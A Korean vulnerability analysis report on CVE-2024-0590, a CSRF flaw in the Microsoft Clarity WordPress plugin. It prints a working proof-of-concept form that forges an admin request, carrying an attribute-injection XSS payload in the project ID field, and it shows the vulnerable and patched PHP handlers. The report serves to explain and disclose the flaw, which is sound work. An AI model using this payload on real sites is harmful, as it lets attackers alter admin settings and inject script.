[CVE-2024-0590] 취약점 분석 보고서
Microsoft Clarity에서 발생하는 CSRF 취약점
1. 취약점 개요
WordPress 용 Microsoft Clarity 플러그인은 무료 웹 플러그인으로, 세션 녹화와 히트맵을 통해 사용자 행동을 분석하고, Copilot을 활용해 데이터를 요약·해석할 수 있다. 메트릭 대시보드를 제공하며, 개인정보 보호 기능이 내장되어 있고, 대규모 트래픽을 처리하면서도 사이트 성능에 영향을 주지 않는다. 간단한 설정만으로 사이트 모니터링이 가능하다.
CVE-2024-0590 취약점은 edit_clarity_project_id
함수에서 nonce 검증이 누락되었기 때문에 공격자는 프로젝트 ID를 변경하고 위조된 요청을 통해 악성 JavaScript를 추가할 수 있으며, 사이트 관리자를 속여 링크를 클릭하는 등의 작업을 수행하도록 할 수 있다.
2. 영향을 받는 버전
- Microsoft Clarity ≤ 0.9.3
3. 취약점 테스트
WordPress에서는 Editor 이하의 사용자 역할은 보안상의 이유로
script
태그 사용이 제한된다. 이러한 제한은 Wordpress의unfilterd_html
기능과 관련이 있다.unfiltered_html
권한은 Administrator와 Editor 역할에만 부여되며, Author, Contributor, Subscriber 등 그 이하의 역할에는 부여되지 않는다.따라서, 최소 권한인 Editor로 글을 작성한다. 페이로드는 아래와 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
<!DOCTYPE html> <html> <body> <script> function exploit(){ csrf_form.setAttribute('action', "http://localhost:8000"+csrf_form.getAttribute('action')); setTimeout(()=>{ window.location="http://localhost:8000/wp-admin/admin.php?page=microsoft-clarity" },2000) } </script> <h1>CSRF PoC</h1> <form action="/wp-admin/admin-ajax.php" method="POST" name=csrf_form id=csrf_form target="_blank"> <input type="hidden" name="action" value="edit_clarity_project_id" /> <input type="hidden" name="new_value" value='" onload=alert(1) x="' /> <input type="submit" onclick=exploit() value="Submit request" /> </form> </body> </html>
Custom HTML 블록 안에 페이로드를 삽입한다.
Admin으로 로그인 한 후 Editor가 작성한 게시물의 버튼을 클릭하면 Clarity 프로젝트의 ID 값을 변경할 수 있다.
4. 취약점 상세 분석
edit_clarity_project_id
함수에는 CSRF 방어를 위한 Nonce 검증이 누락되어 있다. new_value
라는 사용자 입력값을 검증 없이 바로 사용하므로, 공격자가 관리자의 세션을 이용하여 악성 요청을 보낼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* Add callback triggered when a new message is received
* Edits the clarity project id option respectively
*/
add_action('wp_ajax_edit_clarity_project_id', "edit_clarity_project_id");
function edit_clarity_project_id() {
$new_value = $_POST['new_value'];
// only admins are allowed to edit the Clarity project id
if (!current_user_can('manage_options')) {
die(
json_encode(
array(
'success' => false,
'message' => 'User must be WordPress admin.'
)
)
);
} else {
update_option(
'clarity_project_id', /* option */
$new_value /* value */
/* autoload */
);
die(
json_encode(
array(
'success' => true,
'message' => 'Clarity project updated successfully.'
)
)
);
}
}
5. 패치
CSRF에 취약했던 edit_clarity_project_id
함수에 csrf 토큰 검증 로직이 추가되었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/**
* Add callback triggered when a new message is received
* Edits the clarity project id option respectively
*/
add_action('wp_ajax_edit_clarity_project_id', "edit_clarity_project_id");
function edit_clarity_project_id() {
$new_value = $_POST['new_value'];
$nonce = $_POST['nonce'];
if (!wp_verify_nonce($nonce, "wp_ajax_edit_clarity_project_id")) {
die(
json_encode(
array(
'success' => false,
'message' => 'Invalid nonce.'
)
)
);
}
// only admins are allowed to edit the Clarity project id
if (!current_user_can('manage_options')) {
die(
json_encode(
array(
'success' => false,
'message' => 'User must be WordPress admin.'
)
)
);
} else {
update_option(
'clarity_project_id', /* option */
$new_value /* value */
/* autoload */
);
die(
json_encode(
array(
'success' => true,
'message' => 'Clarity project updated successfully.'
)
)
);
}
}